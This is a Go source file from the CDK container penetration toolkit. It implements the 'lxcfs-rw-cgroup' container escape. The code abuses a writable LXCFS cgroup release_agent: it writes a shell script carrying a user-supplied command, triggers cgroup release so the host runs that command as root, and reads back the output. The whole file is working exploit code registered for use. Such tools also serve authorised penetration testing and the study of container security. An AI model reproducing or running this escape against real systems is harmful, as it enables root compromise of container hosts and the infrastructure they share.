//go:build !no_lxcfs_rw && linux
// +build !no_lxcfs_rw,linux

/*
Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .

Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at

    http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package escaping

import (
	"fmt"
	"io/ioutil"
	"log"
	"os"
	"os/exec"
	"path"
	"strconv"
	"strings"
	"time"

	"github.com/cdk-team/CDK/pkg/cli"
	"github.com/cdk-team/CDK/pkg/exploit/base"
	"github.com/cdk-team/CDK/pkg/plugin"
	"github.com/cdk-team/CDK/pkg/util"
)

func FindReleaseAgentSubSystem() string {
	var subSystemName string
	if cgroupInfos, err := util.GetCgroup(1); err != nil {
		return ""
	} else {
		for _, ci := range cgroupInfos {
			if ci.CgroupPath == "/" && ci.CgroupPath != "0::/" {
				subSystemName = ci.ControllerLst
				break
			}
		}
	}
	return subSystemName
}

func findHostPath(mountInfos []util.MountInfo) (hostPath string) {
	for _, i := range mountInfos {
		if i.Fstype == "overlay" && i.MountPoint == "/" {
			for _, j := range i.SuperBlockOptions {
				hasUpper := strings.Contains(j, "upperdir=")
				if hasUpper {
					// found
					hostPath = j[9:]
					log.Println("Found hostpath: " + hostPath)
					break
				}
			}
		}
	}
	return
}

// IsDir return if the path is a dir
func IsDir(path string) bool {
	s, err := os.Stat(path)
	if err != nil {
		return false
	}
	return s.IsDir()
}

// FindDir will return the first dir's absolute path in the given path
func FindDir(path string) string {
	files, _ := ioutil.ReadDir(path)
	for _, f := range files {
		if IsDir(f.Name()) {
			return path + "/" + f.Name()
		}
	}
	return ""
}

func ExploitLXCFSCgroup() bool {
	var targetMountPoint string
	var subSystemName string
	var releaseAgentPath string
	var targetDir string

	mountInfos, err := util.GetMountInfo()
	if err != nil {
		log.Printf("%v", err)
		return false
	}

	for _, mi := range mountInfos {

		if findTargetMountPoint(&mi, "") {
			targetMountPoint = mi.MountPoint
		}
	}
	if subSystemName = FindReleaseAgentSubSystem(); subSystemName == "" {
		log.Printf("find release agent subsystem error")
		log.Printf("you can try another way to exploit, recommend: `./cdk run lxcfs-rw")
		return false
	}

	releaseAgentPath = path.Join(targetMountPoint, "cgroup/", subSystemName)
	log.Printf("find release agent path %s", releaseAgentPath)
	args := cli.Args["<args>"].([]string)
	cmd := args[0]

	hostPath := findHostPath(mountInfos)
	if len(hostPath) == 0 {
		log.Printf("can not find host path\n")
		return false
	}

	// generate release_agent shell script and save to local
	var taskRandString, expShellText = generateShellExp(hostPath, cmd)
	// even in container, you should save to a writable path
	var outFile = fmt.Sprintf("/cdk_cgexp_%s.sh", taskRandString)
	log.Printf("generate shell exploit with user-input cmd: \n\n%s\n\n", cmd)
	fmt.Printf("final shell exploit is: \n\n")
	fmt.Println(expShellText)

	err = ioutil.WriteFile(outFile, []byte(expShellText), 0777)
	if err != nil {
		log.Printf("write shell exploit failed\n")
		return false
	}
	log.Printf("shell script saved to %s", outFile)
	// create mountpoint
	subgroupName := "/x_" + taskRandString

	if targetDir = FindDir(releaseAgentPath); targetDir == "" {
		log.Printf("no dir in the %s", releaseAgentPath)
		return false
	}

	log.Printf("the target dir is %s", targetDir)
	err = os.Mkdir(targetDir+subgroupName, DefaultFolderPerm)
	if err != nil {
		log.Printf("cannot create subgroup :%s", err)
		return false
	}

	// enable notify_on_release
	err = ioutil.WriteFile(targetDir+subgroupName+"/notify_on_release", []byte("1"), 0644)
	if err != nil {
		log.Printf("cannot enable notify_on_release %s", err)
		return false
	}
	// write release_agent
	err = ioutil.WriteFile(releaseAgentPath+"/release_agent", []byte(hostPath+outFile), 0644)
	if err != nil {
		log.Printf("release_agent is not writable %s", err)
		return false
	}

	// trigger release
	// sleep 2s for debug purpose
	addProcCmd := exec.Command("/bin/sh", "-c", "sleep 2")
	err = addProcCmd.Start()
	if err != nil {
		// exit code might not be zero, but still succeed
		log.Printf("Trigger Release Error: %s \n", err.Error())
		return false
	}
	// write PID to cgroup.procs
	err = ioutil.WriteFile(targetDir+subgroupName+"/cgroup.procs", []byte(strconv.Itoa(addProcCmd.Process.Pid)), 0644)
	if err != nil {
		log.Printf("Write PID to cgroup.procs failed: %s \n", err.Error())
		return false
	}
	// sleep and read result, must use Wait() to avoid zombie process.
	addProcCmd.Wait()
	time.Sleep(3 * time.Second)
	retRes, err := ioutil.ReadFile("/cdk_cgres_" + taskRandString)
	if err != nil {
		log.Printf("read execution result file error %s", err)
		return false
	}
	log.Printf("Execute Result: \n\n %s \n", string(retRes))
	return true
}

type lxcfsRWCgroup struct{ base.BaseExploit }

func (l lxcfsRWCgroup) Desc() string {
	return "escape container by cgroup when root has LXCFS read & write privilege,  usage: `./cdk run lxcfs-rw-cgroup 'shell-cmd-payloads`"
}

func (l lxcfsRWCgroup) Run() bool {

	return ExploitLXCFSCgroup()
}

func init() {
	exploit := lxcfsRWCgroup{}
	exploit.ExploitType = "escaping"
	plugin.RegisterExploit("lxcfs-rw-cgroup", exploit)
}
